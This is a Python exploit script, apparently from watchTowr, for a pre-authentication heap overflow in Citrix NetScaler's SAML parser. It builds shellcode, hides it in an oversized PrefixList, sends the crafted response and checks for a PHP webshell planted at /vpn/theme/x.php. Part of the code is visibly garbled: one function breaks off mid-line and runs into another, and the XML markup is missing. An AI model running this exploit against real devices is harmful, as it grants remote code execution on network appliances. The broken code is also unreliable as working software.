#!/usr/bin/env python3
from pwn import *
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
import argparse, requests, ssl, re, base64, urllib.parse, struct
from requests.adapters import HTTPAdapter
from urllib3.poolmanager import PoolManager
from time import sleep
context.clear(arch="amd64", os="freebsd")
requests.packages.urllib3.disable_warnings()
class LegacyAdapter(HTTPAdapter):
def init_poolmanager(self, *args, **kwargs):
ctx = ssl.create_default_context()
ctx.options |= ssl.OP_LEGACY_SERVER_CONNECT
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
kwargs["ssl_context"] = ctx
self.poolmanager = PoolManager(*args, **kwargs)
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py
(*) Citrix NetScaler PreAuth Heap overflow to RCE Detection Artifact Generator
- Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-8452]
"""
print(banner)
DEFAULT_TARGET = "https://172.16.5.12:9443"
PROXY = None
POOL_A3 = 0x112d30000
SC_ENTRY = 0x180
MEMCPY_DST = 0x2e4684c
MEMMOVE_DST = 0x112d60000
SHELL_PATH = "/var/vpn/theme/x.php"
SHELL_BODY = ""
def build_sc():
# hey, hey you, yes you, don't judge the shellcode okay? i tried my best and it works fine so jokes on you
sc = """
xor eax, eax
push rax
push rax
push rax
push 1
"""
for sig in (4, 5, 6, 8, 10, 11): # ILL TRAP ABRT FPE BUS SEGV
sc += f"""
mov rsi, rsp
xor edx, edx
push {sig}
pop rdi
push 416
pop rax
syscall
"""
sc += """
add rsp, 32
"""
# fd = open(path, O_WRONLY|O_CREAT|O_TRUNC, 0644) -> r12
sc += shellcraft.pushstr(SHELL_PATH)
sc += """
mov rdi, rsp
"""
sc += shellcraft.syscall(constants.SYS_open, "rdi",
constants.O_WRONLY | constants.O_CREAT | constants.O_TRUNC, 0o644)
sc += """
mov r12, rax
"""
# write(fd, body, len)
sc += shellcraft.pushstr(SHELL_BODY)
sc += """
mov rdi, r12
mov rsi, rsp
"""
sc += shellcraft.syscall(constants.SYS_write, "rdi", "rsi", len(SHELL_BODY))
# close(fd)
sc += """
mov rdi, r12
"""
sc += shellcraft.syscall(constants.SYS_close, "rdi")
sc += shellcraft.pushstr("/bin/sh")
sc += """
xor eax, eax
mov al, 15 # sys_chmod
mov rdi, rsp
xor esi, esi
mov si, 0xd6d
syscall
"""
return asm(sc)
def split_insns(sc):
# cut the shellcode into its individual instructions for the parser
md = Cs(CS_ARCH_X86, CS_MODE_64)
return [bytes(ins.bytes) for ins in md.disasm(bytes(sc), 0)]
def lay_sc(pl, sc, avoid, start):
# i'd like to personally thank chatgpt for helping with this funciton, i almost lost half of my hairs making this myself
# every byte the shellcode has to stay off: the c14n token spaces and our field overrides
blocked = set()
for s, e in avoid:
blocked.update(range(s, e))
# the free runs we can write into, left to right
gaps = []
i = start
while i < len(pl):
if i in blocked:
i += 1
continue
run_end = i
while run_end < len(pl) and run_end not in blocked:
run_end += 1
if run_end - i >= 3:
gaps.append((i, run_end))
i = run_end
insns = split_insns(sc)
entry = POOL_A3 + gaps[0][0] - 1
g = 0
w = gaps[0][0]
for n, ins in enumerate(insns):
need = len(ins)
if n != len(insns) - 1:
need += 2
if gaps[g][1] - w < need:
if g + 1 >= len(gaps):
log.error("shellcode doesn't fit the canon, bump ntok")
break
nxt = gaps[g + 1][0]
pl[w] = 0xEB
pl[w + 1] = (nxt - w - 2) & 0xFF
g += 1
w = gaps[g][0]
pl[w:w + len(ins)] = ins
w += len(ins)
return entry
def make_prefixlist(ntok, sc):
toks = ["".join("M%07d" % (48*t + 8*p) for p in range(5)) + "N%06d" % t for t in range(ntok)]
pl = bytearray(" ".join(toks).encode())
struct.pack_into("'
si = (b'' + pad +
b''
b''
b''
b''
b'AAAAAAAAAAAAAAAAAAAAAAAAAAA=')
sig = (b'' + si +
b'AAAA')
assertion = (b''
b'https://idp.ctf.lab/saml/sso' + sig +
b'tester'
b''
b''
b''
b''
b''
b'urn:oasis:names:tc:SAML:2.0:ac:classes:Password'
b'')
return (b''
b'https://idp.ctf.lab/saml/sso'
b''
+ assertion + b'')
def sp_init(s, target):
# some saml AuthnRequest BS
s.get(target + "/", allow_redirects=True)
ru = re.search(r"([^<]+)", s.post(target + "/nf/auth/doAuthentication.do").text).group(1)
body = s.get(ru, headers={"Accept": "text/html"}).text
samlreq = base64.b64decode(re.search(r'name="SAMLRequest" value="([^"]+)"', body).group(1)).decode(errors="replace")
reqid = re.search(r'\bID="([^"]+)"', samlreq).group(1)
acs = re.search(r'AssertionConsumerServiceURL="([^"]+)"', samlreq).group(1)
return reqid, acs
def deliver(s, acs, xml):
body = "SAMLResponse=" + urllib.parse.quote(base64.b64encode(xml).decode())
return s.post(acs, data=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
def main():
ap = argparse.ArgumentParser(description="nsppe unauth SAML PrefixList overflow -> webshell")
ap.add_argument("--target", default=DEFAULT_TARGET, help="https://host:port of the NetScaler")
args = ap.parse_args()
args.target = args.target.rstrip("/")
log.info("Connecting to endpoint...")
s = requests.Session()
s.verify = False
s.mount("https://", LegacyAdapter())
if PROXY:
s.proxies = PROXY
sc = build_sc()
if b'"' in sc:
log.warning("shellcode has a 0x22 (\") which closes the PrefixList attribute, re-encode the payload")
reqid, acs = sp_init(s, args.target)
log.info("target AAA service is responsive")
sleep(1)
# log.info("AuthnRequest ID: %s" % reqid)
# log.info("ACS: %s" % acs)
pl, rax = make_prefixlist(60, sc)
xml = make_response(reqid, acs, pl)
log.info("building shellcode")
log.success("shellcode size: %d bytes" % len(sc))
log.info("triggering jmp rax to %#x" % rax)
log.info("sent..")
try:
deliver(s, acs, xml)
except:
pass
log.success(f"webshell will be at {args.target}/vpn/theme/x.php?0=uname+-a;id")
while True:
try:
r = s.get(f"{args.target}/vpn/theme/x.php?0=uname+-a;id")
log.success("web shell output: \n")
print("\n")
resp = r.content.decode()
print(resp)
print("\n")
break
except:
log.info("watitin for the device to get back...")
sleep(2)
continue
main()
log.info("done")